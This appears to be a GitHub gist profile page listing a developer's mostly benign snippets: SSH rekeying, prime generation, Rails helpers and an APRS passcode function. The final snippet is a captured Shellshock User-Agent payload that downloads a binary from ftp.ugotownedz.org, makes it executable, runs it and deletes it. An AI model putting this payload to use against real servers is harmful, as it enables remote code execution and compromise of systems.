Skip to content

Instantly share code, notes, and snippets.

View robacarp's full-sized avatar
🐢
Bacon//Pickle

Rob robacarp

🐢
Bacon//Pickle
View GitHub Profile
@robacarp
robacarp / rekey.sh
Last active August 29, 2015 13:58
Bash script to rekey a server (untested)
#!/bin/bash
set -e
hostname
archive_dir="/etc/ssh/compromised_keys/$(date +%F)"
mkdir -p $archive_dir
mv /etc/ssh/ssh*_key $archive_dir
mv /etc/ssh/ssh*_key.pub $archive_dir
# Generated with some ruby, some vim love, and some manual hackery:
# #!/bin/env ruby
# require 'mechanize'
# page = Mechanize.new.get('http://httpstatus.es')
# codes = body.search('.status').map do |s|
# {
# code: s.search('a').text.to_i,
# name: s.search('a').first['title'],
# description: s.search('.description').text
# }
@robacarp
robacarp / primegen.pl
Created December 5, 2011 23:24
Prime Finder
#!/usr/bin/perl
#this program generates $c prime numbers starting from the number 2
use Strict;
use warnings;
use POSIX;
sub genPrimes($$){
my($ct,$advanced) = @_;
my ($i,$possPrime,@primes,$j);
$ct = 1 unless $ct;
@robacarp
robacarp / searchable.rb
Created December 21, 2011 18:16
Rails Model Searchable Superclass
#a quick whipped full-text search superclass to help make queries appear out of nowhere for fun and profit
# if you're reading this thinking 'why?' you are right and you should probably just replace this paradigm
# with actual logic D:
class Searchable < ActiveRecord::Base
class << self
@@searches_on = {}
def searches_on *fields
cls = self.to_s.to_sym
@robacarp
robacarp / gist:1507683
Created December 21, 2011 21:01
osx keyboard characters
Key + [O] + [O + S]
A å Å
B ∫ ı
C ç Ç
D ∂ Î
E ´ ´
F ƒ Ï
G © ˝
H ˙ Ó
I ˆ ˆ
@robacarp
robacarp / application_helper.rb
Created January 30, 2012 16:31
Rails3.1 Bootstrap html helpers
# toss these two methods in your app/helpers/application_helper.rb
#this is to be used instead of will_paginate's inbuilt view function and calls the BootstrapPaginationHelper
def paginate *params
params[1] = {} if params[1].nil?
params[1][:renderer] = BootstrapPaginationHelper::LinkRenderer
will_paginate *params
end
#this is to be used instead of form_for as a shortcut to calling BootstrapFormBuilder
@robacarp
robacarp / a_generator_framework.md
Last active October 12, 2015 06:18
Sane, Simple Rails Generator framework to replace FactoryGirl, Machinist, Fabrication, and Rails Fixtures

##Intro

Generator frameworks spend way too much time creating obscure and pointless DSL syntax just to make the code trendy and cute. This generator comes in the form of pure ruby, instantiates real model objects (which fire their pre-, post- and other hooks appropriately), and still allows for a simple syntax to override parameters of generated objects.

Standard Ruby syntax allows for easier adoption by new programmers and reinforces ruby paradigms, instead of breaking them down with a cute, often incomplete, and entirely superfluous DSL syntax.

Specific complaints against existing frameworks:

  • Rails fixtures: definition syntax (yaml) doesn't provide a powerful enough interface to rapidly creating objects.
  • FactoryGirl: Factories are evaluated at load-time, making some factories just awful to define. No further comment on DSLs.
short passcode(const char *callsign) {
uint8_t i, len;
short hash = KEY;
char no_ssid[10], *p1 = no_ssid, *ptr = no_ssid;
// remove SSID
while((*callsign != '-') && (*callsign != '\0')) *p1++ = toupper((int) (*callsign++));
*p1 = '\0';
i = 0;
@robacarp
robacarp / broken_ruby_splat.rb
Last active January 29, 2016 18:52
Ruby splat in 2.2.2 is broken
# require 'byebug'
puts "ruby -v is #{RUBY_VERSION} but should be '2.2.2'" unless RUBY_VERSION == '2.2.2'
class Hash
def symbolize_keys
dup = self.class.new
each_key do |key|
dup[ key.to_sym ] = self[key]
end
@robacarp
robacarp / User-Agent
Created August 10, 2016 19:52 — forked from jschwietert/User-Agent
A nice little User-Agent header script I found...
() { :;};
/bin/bash -c \x22mkdir /var/.udp;
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg;
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg;
curl -o /var/.udp/Xorg ftp://ftp.ugotownedz.org/Xorg;GET ftp://ftp.ugotownedz.org/Xorg;fetch ftp://ftp.ugotownedz.org/Xorg;
lwp-download ftp://ftp.ugotownedz.org/Xorg;
chmod +x /var/.udp/Xorg;
chmod +x Xorg;
perl /var/.udp/Xorg;
rm -rf /var/.udp/Xorg*;